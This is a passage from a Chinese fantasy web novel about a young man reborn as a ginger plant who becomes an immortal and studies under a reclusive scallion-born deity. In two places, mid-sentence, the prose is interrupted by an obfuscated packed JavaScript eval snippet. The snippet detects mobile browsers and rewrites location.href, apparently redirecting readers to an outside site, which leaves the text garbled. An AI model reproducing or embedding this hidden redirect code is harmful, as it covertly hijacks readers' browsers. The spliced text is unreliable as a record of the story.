《谁说生姜不能修仙》 1. 穿越第一天 夜深人静,姜家别墅的三楼卧室,电脑屏幕照亮了青年因为熬夜显得病态苍白的脸。 青年长相明艳,精致的五官凑在一起生出柔弱之感,微翘的桃花眼里似乎含着水光,下唇的红痣更是为他增添了些许说不清的韵味。 姜洛玉舔了舔干涩的唇瓣,喝了口水。他正在改画,一幅价值五位数的商稿。虽然截稿日还有好几天,但再正常的健康作息,也无法阻挡夜半突如其来的灵感。 细化差不多之后,姜洛玉伸了个懒腰,顺手捏了捏桌子上生机勃勃的生姜苗。 翠绿的叶子颤颤巍巍地晃了两下,枝干也跟着摆动,花盆中泡在水里的生姜倒是四平八稳。 这是他买菜的时候老板赠的添头,回来后顺手水培起来,就当多了个桌面摆件。养了几个月,姜苗长出来之后绿油油得更喜人了。 确认保存无误,姜洛玉关闭电脑准备睡觉,上床前又习惯性回头看了一眼。 不看不知道,一看他就被桌面的花盆吸引住视线,那里面居然发出了柔和的白光。 如此诡异的场景让他的心脏重重跳了几下,什么精神失常、灵异事件、穿越预警……在他脑子里过了一遍,时间似乎变得格外漫长。 姜洛玉挑了挑眉,犹豫一下走到桌前看向花盆里。没有什么可怖的场景,只有一块发光的生姜,在水里倔强地呈现出半透明的状态。 姜洛玉:“……?” 难不成他终于疯了? 姜洛玉又揉了揉眼睛,生姜毫无变化,刚想退后几步去找人,却鬼使神差地伸出手碰了碰姜苗。 触电的感觉顺着指尖一路蔓延到尾椎,姜洛玉两眼一黑失去知觉。 等他再度恢复意识,面对的依旧是一片漆黑。 这个结果在姜洛玉预料之内,最坏的结果不过是再也醒不过来。就是不知道到底是哪路妖魔鬼怪附在了生姜上,那时他明明想离开,可回过神,手就碰了上去。 当务之急不是复盘细节,姜洛玉定了定心神,想爬去卧室门口求救,毕竟他家佣人这么多,爬出去获救的可能性更大,但他用尽全力也感受不到四肢的存在。 姜洛玉:“……?” 下一瞬,天光大亮。 目之所及遍布乳白色的雾气,远处的东西隐没在雾里,姜洛玉看不清,可左右两侧却实实在在都是些是奇花异草。 同他一般高的紫红色花朵里坐着长着翅膀的小人,镶嵌着金色纹路的硕大叶片边缘燃烧着烈火,比他高上许多的裸子植物的种子居然是冒着冷气的水晶…… 还有许多颠覆他认知的植物拥簇在一起,他抬头看不见这片绿色的尽头,低头看见的是眼熟的姜黄色粗糙表皮。 姜洛玉沉默,然后尝试分析,最终得出结论,他穿越了。 而且,他现在好像不是人。 “怪哉,我这仙灵园什么时候多了个……生姜?”清河仙君捋了把胡子,想破脑袋也没想出来个究竟。 姜洛玉被突然出现的白发老者吓了一跳,纵使他一身绿衣仙风道骨,也架不住正毫无形象地蹲在地面,视线在自己身上扫来扫去。 好消息是他和这个世界的人没有语言壁垒。 “您好?”姜洛玉试探性开口,声音是发出去了,就是似乎没用上嘴。 清河仙君“咦”了一声:“怎么还是个开灵智的?罢了,既然你开了灵智,就好好修炼吧。” 修炼?姜洛玉刚想再度发问,眼前的人就消失得无影无踪。 “喂,老头说你是生姜?你是从下界混上来的么?”长着翅膀的精怪飞下花蕊,站到只冒出一个嫩芽的生姜旁边,“奇怪,昨天这儿还是空地……” 姜洛玉观察着这个除了翅膀外,长得和正常人类没什么区别的生物,还有她身上流光溢彩的长袍,心中已经有了猜测,故作迷茫道:“我也不知道。” 绯月托着下巴:“不知道么?也是,你连凡品都搭不上边,肯定没有传承记忆。不过小生姜,你有天道赐名吗?” 姜洛玉:“我、我没有名字……绯月仙子,这里是什么地方啊?” 话毕姜洛玉自己都沉默了,这声音也太年轻了点,但年轻也有年轻的好处,起码能降低他人的戒备心。 干净清亮的少年声音传进绯月耳朵里,这让她先入为主地认为姜洛玉刚开灵智,是张什么也不懂的白纸,热心肠地解释道:“这里是仙界春花境,岁寒天的仙灵园,种仙植的地方,园主是清河仙君。你知道什么是仙界吗?嘶……你对六界有概念没?” “罢了,你别动,我把我的记忆分给你一些。” 纤纤玉指隔空一点,星星点点的荧光落在姜洛玉身上。他的意识被拽入一个奇妙的空间,无数记忆如同溪流奔入江海,进入他的大脑。 他的确穿越了,穿进一个神魔仙鬼共存的世界,成为开了灵智的生姜,也就是妖修。刚才和人交流全靠神识传音。 这个世界分为神、仙、妖、魔、人、修真六界,还有一个存在于六界之外的冥界。 其中神界消亡,但神未完全消失,而是融入进了仙界。 姜洛玉穿到的仙界被划分为十二仙境,每个仙境之内又有四大洞天。 至于仙修境界分为八大境界——上仙,地仙,天仙,真仙,金仙,玄仙,仙君,仙帝。 仙帝统管仙境,仙君管理洞天。 最关键的是,他一个刚开灵智的生姜,是不会出现在仙界的。像他这类没有品阶的灵植,仙界生不出来,都是从下界飞升上来的。 姜洛玉心念一动,将神识调动进识海,里面通体翠绿的生姜虚影漂浮其间,根部占据了整个空间。仔细观察之后,他发现这生姜除了大小,居然和自己卧室那个一模一样。 看来他的穿越和卧室里那块儿生姜脱不了关系。 这翠绿的生姜就是他的灵根。妖的灵根显化都是自己的本体,上面的颜色代表着灵根的数量,大小则是质量。 姜洛玉对自己不掺杂一丝杂色的大块头灵根非常满意。 理顺绯月给他的那些记忆,姜洛玉不仅感慨,多亏他二哥不懈余力地拽着他看网文,从修仙到西幻全都涉猎一遍,不然他还真没办法这么迅速地把这些记忆融会贯通。 这么一想,他就不可避免的也想起了其它家人,父亲母亲、大哥大姐…… 姜洛玉是个孤儿,在孤儿院时他叫“洛玉”,这个名字源于院长在他襁褓里发现的字条。 他八岁才被姜家收养,之前不是没人想收养他,最后都因为他孤僻的性格和多病的身体选择放弃。 只有姜夫人不介意他是个瘦弱且沉默寡言的孩子,最终把他领回了家。 那是姜洛玉第一次被那么坚定的选择,他不想被再次放弃,于是开始变得单纯天真、善良柔弱,就像每一个还没长大的孩子。 喜欢和家人撒娇、喜欢和同龄人玩闹……就算是哭泣也不会大喊大叫,而是安静地掉着眼泪,朝着每一个过来安慰他的家人要抱抱。 姜洛玉顺利成为了姜家最受疼爱的小儿子,但骨子里的东西是改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628952|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不掉的。 长大些后,他明面上乖得不行,私底下热衷于各种极限运动,学了艺术经常用写生的借口到处跑,就为体验极限运动带来的濒死快感。 如今意外穿越,暂时没办法回家,姜洛玉决定走一步看一步。 第一步,修炼,但绯月给他的记忆里没有类似生姜如何在仙界修炼的东西。 仙界吸收的都是仙气,只有仙修和预备仙修能将仙气转化为修为和仙力。 仙修一共分为三种,第一种是天生地养的仙,第二种是仙人结合诞生的仙胎,第三种是下界飞升的仙,预备仙修则是仙兽、仙植、天材地宝那一类的。 其中“天生地养”包含的范围极其广阔,就连落下的灵雨,若是得了机缘也能成仙,但前提是,这些都应该是诞生于仙界的东西,其它界的并不包括其间。 他能感受到自己不属于第一种,另外两种也沾不上边,预备仙修更天方夜谭。 “怎么样,现在明白了吧。”绯月跳回本体,找了个舒服的姿势躺下,旁边的仙植近乎谄媚地送上自己的果实。 作为这一片下品仙植里唯一化形的,还是地仙修为,她是清河仙君钦点的小管事,负责为进来摘取仙植的仙修引路,几乎所有开了灵智的仙植都会讨好她。 姜洛玉回过神:“多谢仙子,我都了解了。可……您知道我该怎么修炼吗?” 绯月捏着果子的手顿了顿,有些苦恼:“你这种情况我闻所未闻,要不我替你问问清河仙君?” 有人能解答疑惑姜洛玉自然乐意,只见绯月掐了几个手诀,不出五秒,天空飘来几个金光闪闪的大字——“从心所欲”。 姜洛玉:“……” 绯月一摊手:“喏,清河仙君可是几万岁的仙君了,这么说一定有道理,你就按照他的话来修炼吧。” 姜洛玉只能谢过绯月,开始思考清河仙君那几个字的含义。 “从心所欲”最重要的莫过于那个“心”字,无心无欲,所以他修炼的关键……在于心中所想? 心中所想能影响到仙气吗?显然不能。 他面对的难点在于他现在的躯体无法吸收仙气,只有灵力才能被下界的灵植吸收—— “哈哈哈,快来看啊,新来的生姜做白日梦了!一块调料还想成仙,真晦气,六界无人了吗?” “诶呀,别这么说,等他成仙了第一个报复的就是你。” “开什么玩笑,整个仙界跟脚像他这般仙人屈指可数,再说他连仙气都吸收不了,拿什么修炼?怎么着,你还指望咱们仙灵园出来个药辛神君啊?” “嘘——闹归闹,别提神君的名字啊。” …… 原本一片寂静的仙灵园热闹了起来,那些开了智的仙植像是八百年没说过话一样,使得此地吵闹如同菜市场。 他们的话题围绕着新来的生姜,将他从头到脚批判了一遍。从平凡的出身到外形的朴素,就连刚冒出来的姜苗也没放过。 参加讨论的仙植大部分都发出了幸灾乐祸的声音,只有少部分为这“异想天开”的新人说话,更多的却是那些没有参与其中,保持沉默的仙植。 沸沸扬扬的人声逐渐减弱,他们意识到,谈论的主角居然从头到尾都没发声。 姜洛玉这才缓缓开口:“各位,不继续吗?” 他还没听够,这些嘲讽让他产生了久违的兴奋。 谁说生姜不能修仙? 没人说过。 那他就要做六界第一个成仙的生姜! 2. 穿越第二天 一时间无人应答,过了几秒,刚才出口讽笑的仙植炸开了锅,更加难堪的话语围在姜洛玉身边载歌载舞。 姜洛玉没想到这些仙植这么……容易激动,反正大家都是操控不了躯壳,只能用神识发声的植物,掌控的仙力也少得可怜,他们再激动也不能冲过来揍他。 于是姜洛玉直接把神识沉入识海,隔绝了外界的嘈杂。 “你们几个省省力气吧。”绯月弹了弹指甲,“不就是清河仙君解答了一下小生姜的问题么,有什么好嫉妒的?” 带着仙力的声音传遍了整个下品仙植覆盖的区域,那些喋喋不休的仙植瞬间噤声。 绯月满意地合上花苞,现在是仙灵园的休园期,非必要不会有人进来,她可以睡个好觉。 仙气凝结而成的雾气随着时间的流逝缓缓散去,金日高悬,仙灵园露出了全貌。四季巧妙嵌入其中,古树参天、奇花争艳,满园都是宝气仙光。 姜洛玉被收入眼底的景象震撼到失语,后知后觉发现他居然从生姜身上脱离,变成了半透明的状态。他扯了扯身上姜黄色的长袍……现在应该叫法衣,又新奇地把玩自己垂到脚面的长发。 难不成这是他的魂魄? 这般想着,眼前的一切开始逐渐模糊,只有身体是清晰的。他维持着低头的姿势动弹不得,背上如有千斤,眼睁睁看着自己的身体变得越来越透明,窒息濒死感环绕在他身侧。 有东西在排斥他,不,是想杀死他。 姜洛玉听见了如浩渺的梵音,还有空灵的道乐,甚至还有天地开合的巨响,这绝对不是穿越回去的前兆。 “回。” 陌生男人的声音突然出现,清冽如水又冷漠无情。姜洛玉浑身一轻,紧接着巨大的拉力从身后传来,他再次被禁锢回生姜里面。 死亡逼近的感觉消失了,姜洛玉赶忙用神识四处查看,没发现有其他人存在,刚才救他的人连面都没露。 许是哪个大能顺手搭救地自己,姜洛玉找不到人,只得把声音刻进脑袋,想着有缘日后再答谢,随即将神识落入识海。 无人注意的时刻,一点微光落融进生姜的身体。 姜洛玉趴在灵根上思考清河仙君话里的意思,既然是在这么个高魔世界,神之上还有天道这个虚无缥缈又存在感极强的东西。 他现在要弄清楚的还是修炼这件事,那么“从心所欲”是不是可以理解为,在顺应天道的前提下跟随内心的指引? 姜洛玉有一丝明悟,但还是摸不到要领,毕竟他不是此界之人的,刚才还飘出去差点被干掉。 等等,姜洛玉突然反应过来,刚才想杀他的不会是……天道吧? 那他这仙还能修了吗? 事情突然变得棘手,姜洛玉权衡利弊之后,决定继续摸索修炼之法。他总不能真在仙灵园里待一辈子直到被人挖走,还有人在等他回去。 既然要顺应天道,那就得对天道有了解。他对此间天道唯一的了解就是刚才的杀意,那他可以从此入手。 姜洛玉打定主意,开始回想濒死时的感觉。 沉重的窒息感再度出现,这一次他听见的声音杂乱极了,似乎万事万物都住进了他的耳朵。 直到“轰隆”一声巨响,有个辨不出男女的声音问他:“何来何去?” 姜洛玉不假思索道:“异世来,异世去。” 没人回答他,但他感受到身上的桎梏消失了,取而代之的是从未有过的轻松,蕴含着磅礴生机的能量钻入他的空荡荡的躯壳。 一念顿悟,眨眼百年。 五百年后,一声惊雷炸响在仙灵园上空,阴沉厚重的劫云声势格外浩大。 春花境大部分人都注意到了这格外怪异的劫云,因为这劫云的气息分明是上仙劫,却比一般上仙劫覆盖的面积要广,威力也更甚。 清河仙君自弈正到了紧要关头,抬手落下黑子结束此局,看向空中的劫云,收了棋盘连忙赶去仙灵园西北部的下品仙植区。 “醒醒啊,小生姜你快醒过来啊!你不醒我们都得完蛋!” 暴躁的女声有些破音,使得姜洛玉莫名想起了二哥沉迷过的尖叫鸡,但他不想醒过来。他现在的姿势很舒服,舒服到他差点以为自己回到了自己那张定制的大床上。 没等他陷入沉睡,一股恶臭袭击了他的鼻腔,姜洛玉挣扎着睁开眼睛,对上绯月扭曲的面孔。 绯月:“你可算醒了,快去找个没人的山头渡劫!” 姜洛玉一个激灵,站起来跑到旁边的空地上干呕几下,远离了绯月身边。 “嫌弃什么,这可是我本体的药香。”绯月翻了个白眼,“你怎么化个形还能被雷劈晕?” 姜洛玉也不知道,他那时回答了声音的问题,之后的意识一直朦胧模糊,直到今天才脱离那种玄妙之感,睁开眼头顶劈下来好几道紫色天雷。 慌乱间,他调动体内仙力阻挡,九道天雷后化出了人身。 姜洛玉注意到体内仙力枯竭,本能得开始运转内丹吸收仙气,结果眼前一黑晕了过去。 现在想来,应该是吸收得太急切,新鲜出炉的身体没适应这么纯净的仙气。 绯月还想调笑两句,瞥见携云而来的青衣身影正了正神色,恭敬行礼道:“绯月拜见清河仙君。” 清河仙君微微颔首,而后对着姜洛玉道:“随我来,此处不是你渡劫的好地方。” 姜洛玉也像模像样地行了个礼:“多谢清河仙君。” 清河仙君一甩衣袖,将人收进袖里乾坤,跳出仙灵园,朝着岁寒天专门用来渡劫的荒山赶去。 紧赶慢赶,总算在天雷落下前到了目的地,清河仙君把袖子里的青年甩在地面,瞬息间行至劫云之外。 第一道天雷狠狠劈下,照亮了荒山漆黑的岩壁。 七七四十九道天雷后,目光灼灼的青年杵着姜苗站在土坑里,身上的伤口在天地馈赠下愈合,就连破损的法衣也被修补完整,气势节节攀升,直到停留在上仙三转。 确认修为稳固,姜洛玉眉眼终于舒展开来,微微弯起嘴角。 他,成仙了。 仙修每一个大境界内共有九个小境界,从一转到九转,他刚成上仙修为就到了三转,已经很让他满意了。 笑完之后,姜洛玉的表情又严肃起来,化形升仙不是最难的,按照绯月给他的记忆来看,他若是想继续修仙,还需要弄清楚一件东西——道。 修仙悟道,归根结底道才是最重要的。下界没有道的修士无法飞升,仙界没有道的仙修没法进阶。 可他的道能是什么? 姜洛玉决定趁热打铁,思考中无意识挥动手里被天雷劈掉的姜苗。 他的本体生长缓慢,五百年过去,姜苗越长越高也没有开花的趋势,这下渡劫被天雷劈掉,也不知道什么时候能再长出来。 晃动地手一顿,姜洛玉乌黑的眸子越来越亮,他的本体是生姜,生姜是什么?是调料、是药材。 最关键的是,它能以各种姿态伪装成其它食物,让人毫无防备地吃下。食物界的cos之王并非浪得虚名。 想 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三白仙君讶然,还真是块生姜。 “这可是六界第一块成仙的生姜啊。”三白仙君摩拳擦掌,“还是在仙界修成的,你打算罩着它吗?没人罩着它,估计等下就要被人带回去搜魂了。” “我……”清河仙君还没说完,敏锐地察觉到多了一道强势的气息,周身的空气冷了下来,窃窃私语也消失了。 “人我带走。” 清河仙君闻言连忙转身,看见来人连忙行礼道:“见过药辛神君。您愿意教导自然是这孩子的福分,不过若是您哪天觉得这孩子吵闹……直接送回仙灵园就好。” 对面的人“嗯”了一声,瞬间消失在清河仙君面前。 三白仙君见人远去,又设下道结界才敢说话:“药辛神君怎么也来凑热闹了?” 清河仙君捋着胡子的手一滞,反问道:“我又不是神君肚子里的蛔虫,你问我有何用?” 三白仙君一时想不出该回他什么,最后憋出来句:“不说就不说,瞧你这样子就是知道点什么。” “不过这小生姜命真好,能被神君带在身边教导,就没有性命之忧了。” 清河仙君不置可否,拽着还想看戏的好友回了仙灵园下棋。 这边姜洛玉总算渡完了劫,在坑底调息一会儿,才灰头土脸地顶着荒山地下的压力向上爬。 这问道的九条天雷威力不同凡响,差点没把他劈成傻子。 马上爬出去的姜洛玉余光瞥见一点白色布料,抬起脑袋,对上一双满是疏离的葱绿色眸子。 站在坑边的男人银发云裳,姿容无双,凤眼深邃,从头到脚仙气飘飘,白得像雪一样,就是气质像冰坨,让他联想到小说里经常出现的“清冷仙君”。 姜洛玉还没学会如何查看他人的修为,只能察觉到男人的气息很强,爬回地面拍了拍身上的土,正准备行礼,眉心就多了两根手指。 亮晶晶的丝状物被男人扯了出去,姜洛玉一个紧张触发了化形后的天赋能力——“识人辨物”,能够看穿事物的本质。 对面掌心飘着光团的男人,变成了一棵生机勃勃的野葱。 姜洛玉错愕万分,对面居然是个……野葱仙君? “药辛。” 姜洛玉听见这声音,莫名觉得熟悉,就连名字也很熟悉。 “今后,你跟在我身边修习仙法。” 3. 穿越第三天 荒山虽然名为荒山,山上却依旧覆盖着低矮的仙植,只有山与山之间的空地上荒芜一片。 燥热地风在山间吹过,也吹过两人之间的空隙。 丛明雪见对面黑发黑眼的青年用一种奇特的眼神看着自己,忍不住问道:“你是不愿意随我修习仙法吗?” 姜洛玉想起那些仙植提到过的“药辛神君”,摇头道:“回神君,没有不愿意,只是……您刚才从我脑袋里拽出来的是什么?” 丛明雪把掌心地光团扔了过去:“护身符。既然没有异议,那就随我走吧。” 姜洛玉接住光团,里面的符咒钻出绕着他转了几圈就消失不见。他隐去眼中的惊讶,没想到他的试探歪打正着,这人还真是神君。 可一个神君特意过来说要教他仙法,图什么? 难不成是因为他们一个本体是葱一个是姜,这位神君想照拂后辈? 还有这护身符,又是谁放到他身上的,他怎么没有一点察觉?难不成是这位放在他身上的? 疑问太多,但两人之间的实力太过悬殊,姜洛玉又不知道这位冰坨子一样的神君到底脾性如何,只能选择顺着对方来。 姜洛玉眼中划过一丝暗光,他还需要确认一件事:“神君,您是不是……救过我?” 穿过来那天他神魂出窍被天道发现,若不是有人把他推了回去,他必定会丧命。 刚才听见药辛神君的声音就觉得熟悉,现在才反应过来,这声音和那天的一模一样。 丛明雪抬手装人的动作停顿在半空,颔首道:“是我。” 说完又觉得自己的回答太过简略,补充道:“那时你神魂不稳,我又恰好路过。” “护身符是那时放在你身上的,可以稳固神魂。” “多谢神君搭救!”姜洛玉这回脸上的笑都变得真心实意了,“大恩无以为报,我愿意——” “随手为之,不必回报。”丛明雪打断姜洛玉的话,“我所修之道特殊,在我面前不可随意承诺,否则会被天道立为誓言。” “你身份有异,又与我有缘。留在仙灵园清河保不住你,跟在我身边修炼也算清净。” 姜洛玉心中咯噔一下,刚想问“身份特殊”是何含义,就见对面的神君打了一道金光到他脖子上。 他说不出话了。 丛明雪指了指天空:“虽说此界已将你接纳,但短时间内不要再提及过往。” 姜洛玉了然,然后生出新的疑问——五百年还不够长吗? 丛明雪没等姜洛玉做出反应,直接将人装起来离开荒山,离开前顺手捡起姜洛玉扔在地面的姜苗。 他其实是特意去仙植园的。 自从成为神君后,他就一直待在自己的药辛殿,不是打坐就是沉眠。 他活了太久,久到已经不记得自己活了多少年。 他没体会过神界的时光,但仙界日子像死水一样,平淡至极。 直到那天,他感受到了一股特殊的气息出现在仙灵园,似乎是不属于此界的东西流落至此。 丛明雪能察觉到这些,是因为他所习之道为“天道”。寻到气息的源头,他看见即将消散的魂魄,轻松将人推了回去,又打入一道护身符。 既来之则安之,至于其他的,就看造化了。 等他从护身符处得知当年的生姜已经化形,回过神来已经到了荒山。 远远瞧见青年渡劫后神采飞扬的脸,他久违地记起自己飞升时的模样,又见周边看热闹的众仙里有人打算把刚成仙的生姜带走,好从中得知其修炼法门。 能够以凡物之身在仙界得道成仙,可谓世所罕见。让别有用心之人逮去,免不了受尽磋磨。 丛明雪心一软,当着众仙的面把人划到了药辛殿。他本来还担心姜洛玉会拒绝,好在他愿意跟在自己身边。 丛明雪抚了抚袖子,加快速度返回药辛殿。 几息之后,姜洛玉站在古朴雅致的宫殿前,上面的匾额凌厉地书着“药辛殿”三个大字。 “神君您回来啦!”红衣小童迈着短腿,“哒哒哒”地跑向院门处的两人。 听风原本在树下打盹,梦中迷迷糊糊感觉有人来了,一睁眼就看见了自家神君……还有神君身边多出的人。 丛明雪“嗯”了一声,吩咐道:“听风,你先带他熟悉一下药辛殿,顺便为他讲解一下仙界的常识。晚些时候让他去正殿找我。” 姜洛玉朝着还没自己腿高的听风微笑:“你好啊,我叫姜洛玉。” 听风歪了歪脑袋,点头道:“是,神君。” 等姜洛玉再回头,就看不见丛明雪的身影了。 听风招呼着:“别看啦,快跟我走。你是神君收的弟子吗?” “应该不是,但神君说让我跟着他修习仙法。”姜洛玉如实回答。 听风点点头:“那也算半个弟子了。” 姜洛玉:“前辈,我能先问你一些问题吗?” 他只知道仙界的一些笼统的东西,详细点的绯月给他的记忆就模糊不清了。 比如他知道仙界有七十二神,四十八洞天,却不知道这些神姓甚名谁,长相性格又是什么样,也不知道洞天的名字。 听风摆摆手:“不用叫我前辈,咱们两个修为不相上下。你问吧,问完我再带你熟悉药辛殿。” 姜洛玉得到肯定地答复,拽着听风把自己想知道的问了个遍。 首先,是关于这座宫殿的主人。 药辛神君丛明雪,喜静,且沉默寡言。六界第一位以野葱之身成神的奇葩,在他之前,没有普通植物能够成神,最多只能位列金仙。 在听风的嘴里,他在药辛殿待了几千年,见到丛明雪的次数屈指可数。 姜洛玉得出结论,丛明雪大概很宅。 剩下的问题就是关于一些常识了,比如功法仙器都要去哪儿买,吃食工作都要去哪儿找…… 虽然他现在身处药辛殿,人也辟谷了,住的地方没有问题,但还是忍不住为以后打算。 万一哪天丛明雪嫌他吵,把他丢出去怎么办?他总不能幕天席地。 问完之后,他又跟在听风身后参观了整个药辛殿,参观完在听风羡慕的眼神下进了正殿。 正殿很大,又不显得空旷,里面密密麻麻的满是仙植,让姜洛玉产生自己回到了仙灵园的错觉。 高台繁花堆砌之处,坐着一抹浅淡地白。 “见过神君。”姜洛玉被那抹白吸引住视线,心跳得有些快。 这就是……神吗? 祂就坐在那里,不用言语和动作,就能让人感受到舒适与美好,虽然神的本体是根葱。 姜洛玉的思维开始发散,想起了那时用天赋看见的绿油油的野葱。 丛明雪的眼睛也是葱绿色。 丛明雪睁开眼,严肃道:“从现在开始,你就跟在我身边修炼,我会教导你关于修炼的一切事宜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628954|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有什么不懂就过来问我。” “非必要不许出药辛殿,直到外界关于你的风声消失。” 姜洛玉:“是,神君。” 他从听风的口中知道自己的情况有多罕见,放在现世保准是被人抓去解剖的下场,但放在这儿也就是让人新奇一阵。 “你先把这些书看了。” 小山一般的书堆出现在姜洛玉面前,实体古籍、神识玉简……只有他想不到,没有他看不到。 姜洛玉:“……” 正殿的书堆换了又换,金乌拉着车跑了一圈又一圈,药辛殿门口的玲珑菩提树的叶子也换了一茬又一茬。 五百年匆匆而过,等到姜洛玉再次从书堆里抽身,发觉自己的修为居然到了上仙九转大圆满,差一丝就要突破。 他觉得自己缺什么东西,想了半天也想不出,于是起身离开书堆,找到了在偏殿自弈的神君。 驻足欣赏了一会儿丛明雪下棋时的风采,姜洛玉闭眼变换身形。 身长拔高,五官的棱角更加分明,黑发变银,眼睛也成了葱绿的颜色,活脱脱第二个“药辛神君”。 丛明雪落下黑子,就见另一个自己哼着不成调的曲子走了过来。 姜洛玉站到丛明雪面前,捏了颗白子随意扔了下去,使黑白二子局势逆转,俯身凑近面无表情的人:“神君……你看看我的万相道,修得如何了?” 温润轻柔的声音灌进耳朵,眼看着面前的人离自己越来越近,丛明雪仔细辨别了一下,夸赞道:“不错,修为在你之下的人无法察觉真假。” 两人之间的距离只剩不到两厘米,彼此间呼吸交错,姜洛玉见丛明雪神色清明,呼吸平稳,挫败地停住:“好吧。” 又是失败的一天。 扫地的听风感觉后背发凉,回头瞬间被人捏住了脸。 “啊啊啊烛山你不要捏我了!”听风欲哭无泪。 “烛山”是姜洛玉的道号,丛明雪按照他的八字列出的那些道号里他最喜欢的。 没去理会手下娃娃的哀嚎,他又搓了几把听风肉乎乎的脸,做出评价:“又胖了,你是不是偷吃我小厨房里的灵食了?” 听风心虚地垂下脑袋,然后抱住姜洛玉的大腿泪眼汪汪:“我错了呜呜呜……我不会再偷吃了……” 姜洛玉蹲下身子弹了听风一个脑瓜:“没说不让你吃,那些灵食吃多了你消化不了,你看是不是都变成肉了?” 听风点头如捣蒜,连连发誓自己不再偷吃了,见姜洛玉神色郁郁,小声道:“烛山,神君又没看出来你……” “先别说。”姜洛玉捂住听风的嘴巴,从芥子空间里摸出来个隔音神器,这才放开听风。 听风“呸呸呸”了好几下,对着姜洛玉做了个鬼脸:“你要不还是放弃吧,都五百年了,神君还没看出来你喜欢他。” “我都看出来了。” “错,是三百八十七年。”姜洛玉敲了敲听风的脑袋,“小孩子别操心大人的事情,快去消化体内多余的仙力吧。” 听风脚底抹油般溜走了,只剩他一个坐在菩提树下。 姜洛玉叹了口气,抖了抖身上的墨色云纹法衣。 树下的青年突然静止不动了。 直到金乌拉车归巢,夜幕降临,姜洛玉才有了动作。 他知道自己差什么了。 他的道告诉他,他得去下界渡劫。 否则此生无法进阶。 4. 穿越第四天 药辛殿偏殿,丛明雪拿着棋罐,将冒着阴阳二气的棋子一颗颗放进去。 这是他用姜洛玉去矿山挖回来的极品阴阳石炼制的,因其罕见品质又高,用了十年才炼制出两副围棋。 放好棋子,丛明雪静静等待着姜洛玉拿完吃食回来和自己下棋。 一刻钟过去,他只等到了一道传讯。 “神君抱歉,我忽有所感,需要静思一段时日,怕是不能和你对弈了。” 青年带着歉意的声音回荡在空旷的偏殿,尾音缱绻似乎带着小钩子。 丛明雪想起姜洛玉离开时周身波动的气息,对着传讯光蝶严肃道:“若是突破,记得来正殿,我为你护法。” 光蝶活力满满地飞出窗外,留下银发神君一人独自坐在黄昏树影婆娑的宫殿里。 姜洛玉躺在寝殿温软的云床上,逗弄光蝶几下才听了丛明雪的回复。 没什么起伏的声音和以往每一次传音没有任何分别,他掐灭光蝶,从芥子里翻出最近才做出来的气泡水,有一搭没一搭地喝着。 若说穿越之后有什么不适应的,还是一个“吃”字。衣住行都是加强版,倒是没什么值得不适应。 最开始到姜家,姜洛玉因为过于瘦弱,得到了一家人的投喂,堪称“食不厌精,脍不厌细”。 除了厨师做得各式饭菜,药膳更是从小吃到大就没停过,偶尔还被二哥偷偷塞零食,带他出去吃姜父姜母眼里的“垃圾”食品。 一朝穿越,虽说仙界的灵食比现世好上不知多少倍,但姜洛玉还是空闲里复刻出现世不少食物来。 大多数他只是尝了个味道,再分给丛明雪吃个新鲜,剩下的都进了听风的肚子。 姜洛玉叹息着把气泡水放回芥子,转眼间,他已经来到这个世界一千年了。 前五百年弹指一挥,几乎称得上在梦中渡过,后五百年过得倒是真实。他遵循着“人不犯我,我不犯人”的底线,从最开始连只鸡都杀不明白,到现在杀仙兽仙修如同砍瓜切菜。 他有时甚至忘记自己到底从何处来,又到何处去,只有和现世相关的东西能唤起他的记忆。 就是不知现世的他是个什么状态,又或者……此刻经历的只是黄粱一梦? 冒出这个念头后,姜洛玉猛地坐起,低头咳了咳,压下喉间腥甜。 真是魔怔了,差点让心魔趁虚而入。 调息稳定心神后,姜洛玉穿好法衣,推开门朝正殿走去。 药辛殿的宫殿都没有名字,平日里交流全都用位置来代替。要不是这宫殿是春花境境主为神君们统一建造的,他都怀疑丛明雪随便凿个石洞就能住。 走了一半儿,姜洛玉开始不断变幻身形,佝偻的老妇、蹒跚的婴孩、轩昂的将军、婀娜的女子……每走一步就变了一副模样,不知变了多少人,直到走到正殿门口才恢复本貌。 “神……”姜洛玉敲门的手一顿,门自己开了。 他轻车熟路地走进去,在满殿仙植里找到坐在窗口赏景的丛明雪。 夜晚的药辛殿靠着阵法维持,依旧灯火通明,坐在殿内能看清外面茂盛的菩提树。 姜洛玉顺着丛明雪的视线看过去,看见了菩提树上新安家的灵雀,看了两眼将视线收回,坐到丛明雪对面。 银发神君穿着一身浅灰法衣,身侧的榻几上放着柄流光溢彩的长剑,剑柄镶嵌着同款晶体。 长剑震动几下浮起,极其克制地绕着姜洛玉转了一圈。 姜洛玉随手摸了把剑柄,示意自己看见它了,长剑立马兴奋地到处乱飞。 相顾无言。 姜洛玉的沉默让丛明雪有些疑惑,问道:“烛山,你是来闭关的吗?” “我不是来闭关的。”姜洛玉摇头,掏出自己那副阴阳棋,规规矩矩摆在两人之间,“神君可想手谈一局?” 丛明雪点头,率先落下黑子。 棋局过半,姜洛玉状似无意道:“神君,我要去下界渡劫了。” 说完他便抬头紧紧盯着丛明雪,似乎是想从他的反应里找到什么东西。 仙神渡劫,九死一生。 